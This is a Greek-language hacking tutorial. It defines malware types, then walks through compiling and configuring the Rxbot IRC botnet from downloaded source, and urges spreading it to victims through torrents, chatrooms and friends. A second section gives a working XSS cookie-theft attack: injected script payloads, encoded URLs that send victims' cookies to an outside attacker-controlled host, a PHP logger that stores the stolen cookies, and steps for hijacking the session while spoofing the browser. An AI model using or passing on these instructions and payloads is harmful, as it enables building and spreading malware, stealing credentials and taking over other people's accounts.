γενικά για τον προσδιορισμό ιών και άλλων τύπων επιβλαβών
προγραμμάτων. Αναφέρεται σε όλα τα προγράμματα που εκκινούν (συχνά
επιβλαβείς) διαδικασίες, χωρίς τη συναίνεση του χρήστη.

• Τι είναι ο Ιός – Virus


Είναι ένα πρόγραμμα που τρέχει στον υπολογιστή μας. Σκοπός του είναι να
βλάψει το σύστημά μας, ο κάθε ιός, με τον τρόπο του.
Η διαφοροποίηση εδώ με τα υπόλοιπα, είναι ότι ο ιός έχει την ιδιότητα να
μεταδίδεται όπου είναι δυνατόν. Συνυπάρχει σε πολλά αρχεία, έτοιμος να
μεταδoθεί σε άλλα συστήματα μέσω αυτών, αν ένα από αυτά τα αρχεία
μεταφερθεί σε άλλα συστήματα, όπου και εκεί κάνει τα ίδια (αφού βέβαια
προκαλέσει και κάποια ζημιά που είναι και ο στόχος του αυτός -ανάλογα
τον ιό).

• Τι είναι το Trojan horse(Τρωικό Άλογο) ή Backdoor


Είναι ένα πρόγραμμα που τρέχει στον υπολογιστή μας, αφού το κολλήσουμε,
για να ανοίξει κάποιο backdoor. Δηλαδή για να καταλάβετε, είναι σαν να
ανοίγει μία πόρτα, δίνοντας πρόσβαση σε αυτόν-αυτούς που το φτιάξανε,
ώστε να καταφέρουν να μπούνε στον υπολογιστή μας, μέσω αυτής της
ανοιχτής πόρτας.

• Τι είναι το Worm
Είναι ένα πρόγραμμα που μολύνει τους υπολογιστές που είναι συνδεμένοι σε
κάποιο δίκτυο. Αν ένας υπολογιστής το έχει και συνδεθεί σε ένα δίκτυο, θα
μολυνθούν και όλοι οι υπόλοιποι υπολογιστές που είναι συνδεμένοι σε αυτό.

• Τι είναι το Spyware
Είναι ένα πρόγραμμα που χρησιμοποιείται για να παρακολουθεί τις
δραστηριότητες του μολυσμένου υπολογιστή. Ένας υπολογιστής που έχει
κολλήσει spyware, παρακολουθείται από κάποιο τρίτο άτομο και πιο
συγκεκριμένα, αυτό το τρίτο άτομο μπορεί να δει πχ τι πληκτρολογούμε (για
usernames και passwords σε sites), κλπ, όπως είναι τα γνωστά μας
προγράμματα, keyloggers.
Ακόμα υπάρχουν και άλλα προγράμματα, με βάση τα keyloggers, τα οποία
ονομάζονται RAT(Remote Administrator Tool), που παρέχουν στον
επιτιθέμενο να πάρει τον έλεγχο του υπολογιστή του θύματος. Μερικά από
αυτά είναι το Cybergate, ProRAT, DarkComet.
• Τι είναι τα Adwares

Είναι τα προγράμματα που κολλάμε και πολύ απλά μας φέρνουν με ύπουλο
τρόπο διαφημίσεις στον υπολογιστή μας, χωρίς την έγκρισή μας.
Χρησιμοποιούν bandwidth της σύνδεσής μας στο internet, περιορίζοντάς μας
σε πιο χαμηλές ταχύτητες και ξεπετάνε συνέχεια διαφημίσεις, χωρίς να
μπορούμε να κάνουμε κάτι.

Crypters
Είναι προγράμματα που "φιλτράρουν" τους προαναφερθέντες ιούς(γενικά)
ώστε να τους κάνουν μη ανιχνεύσιμους προς τα αντιικά(antivirus) και με
αυτόν τον τρόπο να τους περνάνε σαν κάποια άκακα προγραμματάκια.

Botnet Αρχικά ας αναφερθούμε στη botnet και στις λειτουργείες που


επιτελεί. Η botnet είναι ένα δίκτυο μέσα στο οποίο είναι μαζεμένα τα bots τα
οποία δημιουργούνται σε κάπιον υπολογιστή όταν αυτό εκτελέσει ένα
αρχείο το οποίο είναι γραμμένο σε μια γλώσσα προγραμματισμού και έχει τη
δυνατότητα να μετατρέπει τον υπολογιστή σε ζόμπι. Μετά από αυτό ο
κάτοχος της botnet θα έχει τη δυνατότητα να εκτελεί όποια λειτουργία θέλει
στον υπολογιστή χωρίς κανείς να το πάρει χαμπάρι.
H botnet μπορεί να χρησιμοποιηθεί για να επιτελέσει συγκεκριμένες
λειτουργίες στον υπολογιστή σας όπως keyloging, να κάνει capture screen
shots, να ανοίγει τη κάμερα και να βγάζει φωτογραφίες, να παίρνει cd keys,
κωδικούς, να επιτελεί ddos επιθέσεις ενάντια σε άλλα δίκτυα, να τρέχει
συγκεκριμένες εντολές, να ανοίγει ιστοσελίδες και γενικά με τη botnet μπορεί
κανείς να κάνει οτιδήποτε θέλει και όποτε το θέλει στο θύμα του.
Ας ξεκινήσουμε λοιπόν. Αρχικά πρέπει να κάνετε εγκατάσταση έναν C
compiler κάτι το οποίο είναι πολύ εύκολο
1.Kατεβάστε το Mcft Visual C 6.0 Standard edition
http://anonym.to/?http://www.megaupload.com/?d=SUHPYZRX
ή
http://anonym.to/?http://rapidshare.com/files/21861555/msc__.rar.html
Κωδικός: itzforblitz
Serial: 812-2224558
2.Τρέξτε το setup.exe και κάντε την εγκατάσταση.
3.Κατεβάστε και εγκαταστήστε το Service Pack 6
http://anonym.to/?http://www.microsoft.com/downloads/details.aspx ?
familyid=a8494edb-2e89-4676-a16a-5c5477cb9713&displaylang=en
4.Μετά κάντε εγατάσταση το Windows Platform SDK
http://anonym.to/?http://rapidshare.com/files/21854411/sdk.rar.html
ή
http://anonym.to/?http://www.megaupload.com/?d=YH3SS78I
Κωδικός: itzforblitz
Τώρα να δούμε τι ρυθμίσεις θα πρέπει να κάνετε για να κάνετε επιτυχώς τη
δημιουργία του ιού/bot σας.
1.Ανοίξτε το Mcft Visual C Compiler 6.0
2.Πηγαίνετε στα tools-> options και κάντε κλικ στο κουμπί με τα directories
3.Ανοίξτε το παραθυράκι με τα directories, σβήστε ότι έχει μέσα και βάλτε τα
ακόλουθα με την σειρά που θα σας τα δώσω.
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\SRC
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\Program Files\Microsoft Visual Studio\VC98\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\MFC\INCLUDE
C:\Program Files\Microsoft Visual Studio\VC98\ATL\INCLUDE
Ωραία μέχρι τώρα κάναμε τις ρυθμίσεις των προγραμμάτων ας ρυθμίσουμε
τώρα και το bot μας.
http://anonym.to/?http://www.mediafire.com/?awmwyidzjz5
ή
http://anonym.to/?
http://rapidshare.com/files/21854222/botsrc7.6rx.rar.html
2.Με το που θα το κατεβάσετε λογικά θα βρείτε στον φάκελο που το βάλατε
να κατέβει ένα folder με όνομα: Rxbot 7.6
3.Ανοίξτε το Rxbot 7.6 φάκελο και μετά ανοίξτε το αρχείο config.h για να
κάνετε τις απαραίτητες ρυθμίσεις. Ρυθμίστε τα παρακάτω βασικά:
int port = ; //server port
char password[] = " "; //κωδικός του bot,το βάζετε ανάμεσα στα '' ''
char server[] = " "; //δίκτιο irc στο οποίο θέλετε να χετε τι botnet σας
char channel[] = "# "; //κανάλι όπου τα bots θα μπαίνουν
char chanpass[] = " "; //κωδικός καναλιού. Απαραίτητο για την δική σας
ασφάλεια και των bot σας
char exploitchan[] = "# "; // κανάλι όπου τα exploit μηνύματα θα
παραχωρούνται
char keylogchan[] = "# "; // κανάλι όπου τα keylog μηνύματα θα
παραχωρούνται
char psniffchan[] = "# "; // κανάλι όπου τα psniff μηνύματα θα
παραχωρούνται
Όταν τελειώσετε με τις ρυθμίσεις σας στο config file πρέπει να
προχωρήσετε στο χτίσιμο του ιού. Πώς θα το κάνετε αυτό; Εύκολο !!!
1. Σιγουρευτείτε οτι το Mcft Visual 6.0 είναι ανοιχτό
2.Επιλέξτε File -> Open Workspace
3.Κάντε browse στο Rxbot 7.6 folder και ανοίξτε το rbot.dsw αρχείο
4.Δεξί κλικ στο ''rbot files'' -> build
(όπως στην εικόνα)

• 5.O ιός θα είναι με όνομα Rbot.exe στο Rxbot 7.6 > Debug folder !
Είστε έτοιμοι!!!! Ο Ιός είναι έτοιμος!!! Το μόνο που έχετε να κάνετε είναι να
τον δώσετε σε άλλους αλλά και να βλέπετε τα botakia να μπαίνουν ένα ένα
στο irc δίκτυό σας! Όμως δε μιλήσαμε ακόμα για τις εντολές τις οποίες
περιέχουν τα bots. Δε χρειάζεται να πούμε πολλά. Υπάρχει ιστοσελίδα
συγκεκριμένη με τις εντολές.
http://anonym.to/?http://rapidshare.com/files/21542921/cmands.html
Για να κατεβάσετε το mirc έτσι ώστε να μπορείτε να μπείτε στο irc δίκτιο
σας:
http://mirc.com/
• Tέλος κλείνοντας με το tutorial μου θα θελα να σας πω δυο λογάκια στο
πως θα μπορέσετε να προστατέψετε εσάς και τα bots σας, επίσης μερικούς
τρόπους για να κάνετε τη botnet μεγαλύτερη καθώς και μερικά public δίκτια
στα οποία θα μπορούσατε χωρίς να φτιάξεται ενα δικό σας να βάλετε τη
botnet σας. Για να προστατέψετε τα bots στο κανάλι όπου τα χετε θα
συνιστούσα να το έχετε σε secret mode. Επίσης να χει κωδικό ή αλλιώς key.
Τέλος αν θέλετε και μόνο δική σας επιλογή βάζετε το κανάλι m , δηλαδή
moderated, για να μη τρώει πολυ flood ο server και επιβαρύνεται άσκοπα.

Όσων αφορά την εξάπλωση της botnet σας, μπορείτε να φτιάξεται torrents
και να τα στείλετε σε μεγάλους trackers όπως mininova και piratebay, να
στείλετε τον ιό σε chatrooms, σε φίλους, στα internet cafe, σε warez
ιστοσελίδες, και πολλοί άλλοι τρόποι τους οποίους πιστεύω ότι μπορείτε και
μόνοι σας να σκεφτείτε. Τέλος μερικά public δίκτια όπου θα μπορούσατε να
βάλετε τη botnet σας είναι τα dalnet, undernet, efnet. Τώρα έχετε την
ικανότητα να φτιάχνετε έναν από τους πιο επικίνδυνους ιούς που υπάρχουν
αυτή τη στιγμή στον κόσμο των υπολογιστών!

Web Hacking
• Cross Site Scripting (xss)
Τον τελευταίο καιρό (2-3 χρόνια) οι επιθέσεις XSS έχουν αυξηθεί
τρομακτικά, οι λόγοι είναι πολλοί, μερικοί απ' αυτούς είναι η ευκολία, η
ευρεία ανάπτυξη webbased εφαρμογών, η έλλειψη φαντασίας των web
developers όταν σχεδιάζουν μια εφαρμογή κ.α. Αυτό το κείμενο λέει αυτό
ακριβώς που αναγράφεται στον τίτλο του, μην περιμένετε τίποτα
περισσότερο. Αν και όπως θα καταλάβεται όταν φτάσετε στο τέλος του, οι
XSS attacks είναι τόσο απλές μερικές φορές που το μόνο που χρειάζεσται
είναι φαντασία και δημιουργικότητα.
Τι είναι οι XSS attacks;
Αρχικά ονομάζονταν CSS (Cross-Site Scripting) και αυτό που μπορούν να
κάνουν είναι να επιτρέπουν σε κάποιον attacker να εισάγει (inject) κώδικα σε
σελίδες που θα χρησιμοποιήσουν άλλοι χρήστες. Έτσι ίσως είναι λίγο
αόριστο, θα δούμε παρακάτω τι ακριβώς εννοώ, αλλά πρίν απ' αυτό ας
ξεκαθαρίσουμε κάτι. Για λόγους αποδοτικότητας και ταχύτητας κάποιο
μέρος των λειτουργιών μιας ιστοσελίδας εκτελούντε στον υπολογιστή του
client και όχι του server, συνήθως τέτοιες είναι απλές λειτουργίες που θα
ήταν ανούσιο να εκτελούντε από τον server, αυτά όνομάζονται client side
scripts και το πιο δημοφιλές είναι είναι η javascript της Netscape.

Από κάτω ακολουθεί ένας αναλυτικός οδηγός μιας κοινής XSS επίθεσης.
Xss ή αλλιώς (Cross Site Scripting), με απλά ελληνικά είναι η εισαγωγή κώδικα μέσα
σε κάποιο site με στόχο την απόκτηση πληροφοριών που δεν προορίζονται για
δημοσιοποίηση. Κλασική μέθοδος στο παγκόσμιο «γίγνεσθαι» των επιθέσεων
(http://tinyurl.com/yxzaoj ). Ως συνήθως, όμως, μην περιμένετε σε αυτό το άρθρο να
σας δώσουμε ορισμούς, υπέροχες και σημαντικές περιγραφές επιθέσεων άλλων και
να τελειώσουμε παραθέτοντας τα είδη XSS. Όλα αυτά ανήκουν στην συμβατική
βιβλιογραφία. Εμείς θα μπούμε στη θέση ενός επιτιθέμενου, θα δούμε πως
σκέφτεται, πως δρα, και τι προγράμματα κατασκευάζει. Πριν ξεκινήσουμε, όμως,
οφείλουμε να αναφέρουμε το εξής: Αρκετοί, ίσως μάλιστα πολλοί security experts
δεν θεωρούν το XSS σαν απειλή. Μάλιστα, έχουμε παρατηρήσει οτι σε αρκετά sites
που παρουσιάζουν αδυναμίες σε XSS και που οι διαχειριστές τους ενημερώθηκαν,
δεν έκαναν τίποτε απολύτως για να καλύψουν αυτήν την «αδυναμία». Έχουν δίκιο
ή άδικο; Σε αυτό το άρθρο θα προσπαθήσουμε να δώσουμε μια απάντηση
σε αυτό το ερώτημα.
Θα σας περιγράψουμε την μεθοδολογία που θα ακολουθήσουμε, φυσικά
τεκμηριώνοντας το κάθε μας βήμα και μετά να σας δείξουμε πως θα την
υλοποιήσουμε.
Μια μέθοδος XSS, που μπορούμε υλοποιήσουμε, είναι να εκτελέσουμε κώδικα σε
ένα site που δεν μας ανήκει και που δεν έχουμε δικαιώματα πρόσβασης εκτέλεσης
κώδικα. Η εκτέλεση κώδικα, όμως, δεν είναι αυτοσκοπός. Θα αποτελέσει ένα μέσο
για να πάρουμε κάποιες πληροφορίες με τις οποίες θα μπορούμε, αργότερα, να
μπούμε στο site αυτό.
Για να γίνει κατανοητό τι κώδικα θα εκτελέσουμε θα πρέπει να εξηγήσουμε κάποια
πράγματα σε λίγο περισσότερο βάθος: Όπως είναι γνωστό το internet είναι
stateless. Χμ.. χιλιοειπωμένη λέξη. Τι σημαίνει όμως; Σημαίνει οτι κάθε φορά που
καλούμε στον browser μας μια σελίδα από κάποιον server, αυτός (ο server) «νομίζει»
οτι μας «βλέπει» για πρώτη φορά! Δεν έχει κανένα ενσωματωμένο (build-in) τρόπο
να καταλάβει αν έχουμε ξαναζητήσει την σελίδα από αυτόν ή αν τον
επισκεπτόμαστε πρώτη φορά στην ζωή του. Για να καταλάβετε πόσο πολύ
σημαντικό είναι αυτό, σκεφτείτε το εξής παράδειγμα: Ας πούμε οτι κάνουμε
εγγραφή σε ένα site. Τι κάνουμε σαν πρώτο βήμα;
Δίνουμε τα στοιχεία μας, το nick μας και το password μας και ο server από την
στιγμή που γραφτούμε μας. . «θυμάται». Χμ.. στην πραγματικότητα δεν μας
θυμάται ο ίδιος αλλά η βάση δεδομένων που χρησιμοποιεί και καταχωρεί εκεί τα
στοιχεία μας. . Ok.. ως εδώ καλά!
Κάθε φορά όμως που επισκεπτόμαστε τον site αυτό, εισάγουμε μια φορά μόνο τα
στοιχεία μας (nick και password) και στην συνέχεια μπορούμε πραγματοποιήσουμε
ένα σωρό από ενέργειες που επιτρέπονται μόνο σε εγγεγραμμένους χρήστες, να
πατάμε σε διάφορα links χωρίς ο server να μας ρωτάει κάθε φορά τα στοιχεία μας.
Κανονικά όμως,
κάθε φορά που πατάμε επάνω σε ένα link που αφορά στον συγκεκριμένο server,
αυτός δεν γνωρίζει αν τον έχουμε ξανασκεφτεί! Αυτό είναι το λεγόμενο stateless,
και οφείλετε (εντελώς περιγραφικά) στον τρόπο που έχει κατασκευαστεί το
πρωτόκολλο επικοινωνίας μεταξύ εμάς και του server (http://tinyurl.com/fwghj). Το
ερώτημα, τώρα είναι, πώς ο server γνωρίζει, όχι μόνο οτι τον έχουμε ξανα-
επισκεφτεί, αλλά και όλα μας τα στοιχεία (nick και password) και δεν μας τα ρωτάει
κάθε φορά που κάνουμε μια ενέργεια (όπως π.χ. το να απαντήσουμε σε ένα
προσωπικό μήνυμα);
Προσέξτε εδώ μην μπερδευτείτε. Δεν μιλάμε για την πληροφορία οτι είμαστε
εγγεγραμμένοι χρήστες του forum. Αυτή όπως είπαμε καταχωρείτε μια φορά κατά
την εγγραφή μας στην βάση δεδομένων του server. Μιλάμε για τις επόμενες
ενέργειες, αφού γραφτούμε! Πως ξέρει ο server οτι είμαστε εμείς που πατήσαμε ένα
κουμπί και δεν είναι κάποιος άλλος, εφόσον όπως είπαμε, η «λειτουργία» του είναι
stateless; Μήπως καταχωρεί κάπου αυτήν την πληροφορία;
Ακριβώς,.. και ποιο συγκεκριμένα την καταχωρεί στο.. PC μας! Πρόκειται για τα
λεγόμενα cookies ή αλλιώς, πρόκειται για τα συμπαθέστατα μπισκοτάκια. Με απλά
λόγια, τα μπισκοτάκια είναι κάποια δεδομένα που καταχωρούνται, μέσω του
internet browser που χρησιμοποιούμε, στον δίσκο μας και χρησιμοποιούνται από
σχεδόν όλα τα sites, για να καταλάβει ο αντίστοιχος server ποιοι είμαστε.
Το επόμενο ερώτημα που μπορεί να σας έρχεται στο μυαλό. . ή καλύτερα, το πρώτο
κατά σειρά (λέμε τώρα), είναι, τι ακριβώς καταχωρείται;
Χμ.. ανάλογα! (με ότι αυτό συνεπάγεται!!). Συχνά, σε sites ή forums, καταχωρείτε
ένας μεγάλος δεκαδικός αριθμός ο οποίος συμβολίζει εμάς και ο server μας
αναγνωρίζει μέσω αυτού. Επίσης καταχωρούνται και κάποιες άλλες πληροφορίες,
όπως ημερομηνία και ώρα που μπήκαμε, η διάρκεια ζωής του «μπισκότου» και
διάφορα άλλα, ανάλογα τι πληροφορίες θέλει ο server να επεξεργαστεί κατά την
ταυτοποίηση μας. Τέτοια cookies ονομάζονται session cookies, δηλαδή μπισκοτάκια
με. . ημερομηνία λήξης και αυτό γιατί έχουν περιορισμένη διάρκεια ζωής, μέχρι να
κλείσουμε τον internet browser ή αλλιώς να τερματίσουμε το session.
Φανταζόμαστε οτι έχετε ήδη αναρωτηθεί τι θα γινότανε αν κάποιος.. πονηρός,
«έκλεβε» αυτά τα cookies και τα έβαζε στον δικό του browser: Απλά, θα έμπαινε σαν
κύριος στο εκάστοτε site προσποιούμενος… εσάς! Η επίθεση αυτή είναι επίσης
γνωστή σαν πλαστοπροσωπία (impersonation). Αυτός θα είναι και ο σκοπός μας.
Θα προσπαθήσουμε να μπούμε σε ένα γνωστό site εύρεσης εργασίας μέσω
impersonation. Για να γίνει όμως αυτό θα πρέπει να
μπορέσουμε να «κλέψουμε» τα cookies κάποιου «νόμιμου» (εγγεγραμμένου)
χρήστη.

Για να μπορέσει κάποιος να ανακαλύψει τα cookies κάποιου πρέπει να


καταφέρει να εκτελέσει εντολές στο PC του «θύματος». Πώς όμως είναι αυτό
δυνατόν;
Υπάρχουν πολλοί τρόποι για να γίνει κάτι τέτοιο. Ένας αρκετά γνωστός
είναι μέσω XSS. Για παράδειγμα, θα μπορoύσε κάποιος να εκτελέσει κώδικα
java (javascript) μέσω του internet browser, εκμεταλλευόμενος μια
αδυναμία που βρήκε στο site θύμα. Τι είδους όμως αδυναμία θα επέτρεπε
κάτι τέτοιο και πώς μπορεί κάποιος να ψάξει να βρει τέτοιες αδυναμίες;
Ένας αρκετά διαδεδομένος τρόπος να ψάξει κάποιος τέτοιες αδυναμίες είναι
μέσω μιας φόρμας καταχώρησης στοιχείων. Για παράδειγμα, το site της
εικόνας 1 μας επιτρέπει να εισάγουμε κάποια λέξεις κλειδιά για κάποια
αναζήτηση εργασίας. Εμείς όμως, αντί για λέξεις κλειδιά θα εισάγουμε μια
εντολή javascript για να δούμε πως θα συμπεριφερθεί ο
server. Δίνουμε λοιπόν την εξής εντολή σε javascript, η οποία (αν τρέξει
σωστά) θα εμφανίσει στην οθόνη μας ένα μικρό παράθυρο με το κείμενο
«Hel o Total Hacker».
Δίνουμε λοιπόν για αναζήτηση την παρακάτω εντολή:

<script>alert(“Hel oTotalHacker!!”);</script>

Το αποτέλεσμα είναι οτι ο server προσπαθήσει να εμφανίσει την λέξη που


δώσαμε στην αναζήτηση. Η λέξη όμως αυτή (όπως είπαμε) είναι κώδικας
οπότε αν ο server δεν είναι προστατευμένος καλά, υπάρχει περίπτωση να
εκτελέσει τον κώδικα αντί απλά να τον εμφανίζει. Και πράγματι το
αποτέλεσμα φαίνεται στην παρακάτω εικόνα:

Εικόνα 2: To αποτέλεσμα που βλέπουμε δείχνει οτι ο server έχει μια «αδυναμία» σε
επιθέσεις XSS.
Από εδώ και πέρα μπορούμε να εκτελέσουμε ότι javascript εντολή θέλουμε.
Ακόμα και αυτήν που μας δείχνει τα cookies του user,... ναι υπάρχει τέτοια
εντολή. Αν δώσουμε την παρακάτω εντολή:
<script>alert(document.cookie)</script>
Θα πάρουμε σαν αποτέλεσμα ένα πολύ ωραίο παράθυρο το οποίο μας
δείχνει τα cookies που μας έχει δώσει ο συγκεκριμένος server (εικόνα 3).
Μέχρι εδώ δεν έχουμε καταφέρει κάτι πάρα πολύ σπουδαίο. Στην καλύτερη
περίπτωση βλέπουμε τα δικά μας cookies. Όμως, αν παρατηρήσετε καλά, θα
διακρίνετε (με δυσκολία, διότι το έχουμε καλύψει για λόγους ασφάλειας) οτι
ο κώδικας javascript εκτελείται και από το URL. Συγκεκριμένα εκτελείται η
παρακάτω εντολή:
>
Αν η παραπάνω εντολή εκτελεστεί στον internet browser του θύματος, τότε
θα εμφανίσει στην οθόνη του τα cookies του. Βέβαια αυτό δεν λέει και
τίποτα μιας και αυτός που θα τα δεί θα είναι ο ιδιοκτήτης των cookies και
όχι εμείς... οι κακοί! Aυτό που μένει να επιτύχουμε για να επιτύχουμε τον
αρχικό σκοπό μας (που είναι να κλέψουμε τα cookies του χρήστη) είναι 2
στόχοι:
Στοχος 1: Να κάνουμε την παραπάνω εντολή να εκτελεστεί στο PC του
«θύματος».
Στοχος 2: Να μην δείξουμε τα cookies στην οθόνη του θύματος αλλά να τα
καταχωρήσουμε με κάποιο τρόπο κάπου που θα γνωρίζουμε μόνο εμείς, ενώ
ο χρήστης «θύμα» δεν θα καταλάβει τίποτα!

Εικόνα 3: Εδώ βλέπουμε τα cookies που μας έχει δώσει ο συκεκριμένος server.
Διαδικασία επίτευξης Στόχου 1
Υπάρχουν διάφοροι τρόποι να επιτύχουμε αυτό τον στόχο. Εμείς θα
επιλέξουμε αυτόν που χρησιμοποιείται πιο συχνά: Το περίφημο phishing
(http://tinyurl.com/48zm2). Θα στείλουμε το «κακό» url στο θύμα μας με την
μορφή link και θα περιμένουμε να το πατήσει. Όπως θα δούμε παρακάτω,
πολλές φορές δεν είναι καν απαραίτητο να «πατήσει» κάπου το θύμα για να
την... «πατήσει»: Μια κίνηση με το... ποντίκι είναι αρκετή για να «φάει» στο...
δόλωμα! Συνήθως το URL αποστέλλεται με κάποιο mail ή εισάγεται σαν link
σε κάποιον server που ο επιτιθέμενος έχει πρόσβαση. Από τη στιγμή που θα
μπεί το «δόλωμα» στην «πετονιά», το μόνο που χρειάζεται από τον
επιτιθέμενο είναι να περιμένει. Σας
διαβεβαιώνουμε οτι θύματα θα βρεθούνε πάρα πολλά! Ανεξαρτήτου ηλικίας
ή γνώσεων. Το αποτέλεσμα είναι πραγματικά εντυπωσιακό όσο αφορά στην
ευκολία που μπορεί κάποιος να την «πατήσει»... (συμπεριλαμβανομένου και
του... γράφοντος!!).
Αυτό που θέλουμε να κάνει το URL είναι να στείλει το θύμα σε ένα link το
οποίο θα του «κλέψει» τα cookies (δες επόμενη παράγραφο «Διαδικασία
επίτευξης Στόχου 2»).
Μπορούμε να χρησιμοποιήσουμε javascript μέσω XSS (όπως είδαμε
παραπάνω) για να στείλουμε τον χρήστη σε ένα τέτοιο link (redirection).
Υπάρχουν πολλοί τρόποι να συντάξουμε το «κακό» XSS που θα υλοποιεί το
redirection. Εμείς προτιμάμε κάποιον από τους ακόλουθους 2:
Άμεσο redirection. Πατώντας το link το θύμα οδηγείται στο κακό site μας
περνώντας σαν παράμετρο τα cookies του:
http://to.8yma.com/results?kAndEntire=%3Cscript%3Edocument.location%3D
%22http
%3A%2F%2Fkapa.freevar.com%2Ftests%2Fkakoscript1.php%3Fparam%3D
%22+
%2B+document.cookie%3B%3C%2Fscript
%3E+&searchType=results&network=&networkView=main
Έμεσο redirection. Εδώ θα μπορεί να εμφανιστεί μια αθώα σελίδα έχοντας το
κακό link καλυμένο με κάποιο φαινομενικά άκακο όνομα (ας πούμε
«Microsοft»;;;). Το θύμα απλά περνώντας το ποντίκι του επάνω από το link
(που είναι πράγματι το link της Microsoft) την έχει πατήσει, χωρίς να το
καταλάβει. Εδώ χρειάζεται λίγη περισσότερη javascript. Αυτό που κάνει το
παρακάτω javascript είναι να ελέγχει αν ο χρήστης «πέρασε» το ποντίκι του
επάνω από το Link της Microsoft. Αυτό αρκεί για να εκτελεστεί ο κακός
κώδικας. Δεν χρειάζεται καν να πατήσει το link - το οποίο άλλωστε οδηγεί
πραγματικά στην Microsoft:
http://to.8yma.com/results?kAndEntire=%3Ca+href%3D%22http%3A%2F
%2Fwww.microsoft.com%22+onmouseover%3D%22javascript
%3Adocument.images
%5B1%5D.src%3D%27http%3A%2F%2Fkapa.freevar.com%2Ftests
%2Fkakoscript2.php%3Fparam1%3D%27%2Bdocument.cookie%2B
%27%26param2%3D%27%2Bnavigator.userAgent%3B%22%3EMicrosoft%3C
%2Fa
%3E+&searchType=results&network=&networkView=main
Τα αποτελέσματα της 2ης (και πιο... κακιάς περίπτωσης) φαίνεται στην
εικόνα 4. Δώστε βάση στα “kakoscript1.php” και “kakoscript2.php”. Είναι οι
κλέφτες!! Θα τους αναλύσουμε αμέσως μετά. Προσέξτε επίσης τις
παραμέτρους που περνιούνται στους «κλέφτες» (π.χ. στο “kakoscript2.php”):
Παράμετρος 1: document.cookie (το περιεχόμενο του μπισκότου! του
θύματος).
Παράμετρος 2: navigator.userAgent (το όνομα του internet browser του
θύματος).
Οι υπόλοιπες παράμετροι που φαίνονται στο URL απαιτούνται από το
συγκεκριμένο site για να λειτουργήσει σωστά η αναζήτηση.
Σκεφτείτε, λοιπόν, να σας έρθει ένα mail που να δείχνει το link αυτό που
δείχνει η εικόνα
4. Αυτό λοιπόν το link σας αναφέρει για μια πολύ καλή ευκαιρία στην
Microsoft. Αρκεί να περάσετε το ποντίκι επάνω στο επιλεγμένο link… και τα
cookies σας, αποστέλλονται στους... κακούς! Απαραίτητη προϋπόθεση να
λειτουργήσει αποδοτικά κάτι τέτοιο είναι να είστε εγγεγραμμένοι σε αυτό το
site και την στιγμή που πατήσετε το link να έχετε ήδη
μπεί στο site σαν χρήστες (για να έχουνε ενημερωθεί τα κατάλληλα cookies).

Εικόνα 4: Ένα... φαινομενικά άκακο link που οδηγεί πραγματικά στην Microsoft.
Διαδικασία επίτευξης Στόχου 2 Αυτό που θα δείξουμε εδώ είναι o τρόπος
που κατασκευάζονται οι κλέφτες των μπισκότων! θα χρειαστούμε ένα δικό
μας server και πολύ λίγη γνώση php. Δικό μας server είναι πολύ εύκολο να
βρούμε μιας και οι εταιρίες Free Web Hosting είναι εκατοντάδες.
Έχοντας ένα server, το μόνο που μένει να φτιάξουμε είναι του κλέφτες,
δηλαδή τα “kakoscript1.php” και “kakoscript2.php”.
Θα περιγράψουμε το kakoscript2 μιας που είναι υπερσύνολο του 1. To μόνο
που κάνει αυτό το script είναι να λαμβάνει ένα cookie καθώς και το όνομα
του internet browser του θύματος και να τα καταχωρεί (στον κακό server) σε
ένα αρχείο με το όνομα aaa.txt.
<?php
$biskotaki = $HTTP_GET_VARS["param1"]; // Tο. . μπισκοτάκι.
$browser = $HTTP_GET_VARS["param2"]; // Tο όνομα του
browser.
$txtfile = fopen('aaa.txt', 'a+'); // Ανοίγουμε το αρχείο.
fwrite($txtfile, "-- biskotaki --------\n"); // Γράφουμε μέσα τις
fwrite($txtfile, $biskotaki . "\n"); // πληροφορίες που πήραμε.
fwrite($txtfile, $browser . "\n");
fwrite($txtfile, "------------------\n");
fclose($txtfile); // Κλείνουμε το αρχείο.
?> // Σας ευχαριστούμε που διαλέξατε εμάς για την... ενημέρωση σας!! Καλή
σας νύχτα!
Το χρονικό της επίθεσης Η «επίθεση» στο παραπάνω site έγινε ελεγχόμενα:
Κάποιος φίλος έκανε εγγραφή στο συγκεκριμένο site. Μετά του στείλαμε
εμείς το κακό link και εν γνώση του πάτησε σε αυτό, στέλνοντας μας τα
cookies και πληροφορίες για τον Internet browser που χρησιμοποίησε.
Βάζοντας εμείς τις τιμές των cookies του στα δικά μας
cookies (που εμείς δεν είμαστε εγγεγραμμένοι χρήστες) μπορέσαμε να
μπούμε μέσα στο site με το όνομα του φίλου μας! Αυτό, στον «φυσικό»
κόσμο ονομάζετε πλαστοπροσωπία ή impersonation και φυσικά δεν
θεωρείται ούτε νόμιμο ούτε έξυπνο!! Πονηρό ναι! Αλλά όχι έξυπνο.
Ας αναλύσουμε λοιπόν την «επίθεση». Μόλις ο φίλος μας «τσίμπησε» το
«δόλωμα» εμείς είδαμε στο aaa.txt τις εξής τιμές:
Εικόνα 5: Το αρχείο κλεπταποδόχος των cookies.
Στην εικόνα 5 βλέπουμε την τιμή του βασικού session cookie. Αυτή την
αντιγράφουμε στα δικά μας cookies, έχοντας μπει στο ίδιο site σαν απλοί
επισκέπτες! Η αντιγραφή του cookie μπορεί να γίνει πολύ εύκολα με την
χρήση του add-on του firefox Web Developer Toolbar
(http://tinyurl.com/2ek6ec) (εικόνα 6)

Εικόνα 6: Θέτοντας τα απαραίτητα cookies «χειροκίνητα» με τον Web Developer


Toolbar.
Υπάρχει όμως ακόμα ένα... εμπόδιο. Βλέπουμε οτι ο φίλος μας
χρησιμοποίησε Opera αντί για firefox που χρησιμοποιούμε εμείς. Αυτό το
γεγονός δυσκολεύει την κατάσταση, διότι το συγκεκριμένο site είναι αρκετά
έξυπνο και εξετάζει (εκτός από το session cookie) και αν ο browser έχει
αλλάξει ανάμεσα σε διαδοχικές κλήσεις. Εμείς θα τον ξεγελάσουμε
όμως. Χρησιμοποιώντας το add-on του firefox User Agent Switcher
(http://tinyurl.com/48zm2) μπορούμε να υποδυθούμε οτι έχουμε άλλο
browser από αυτόν που χρησιμοποιούμε στην πραγματικότητα (Εικόνα 7).

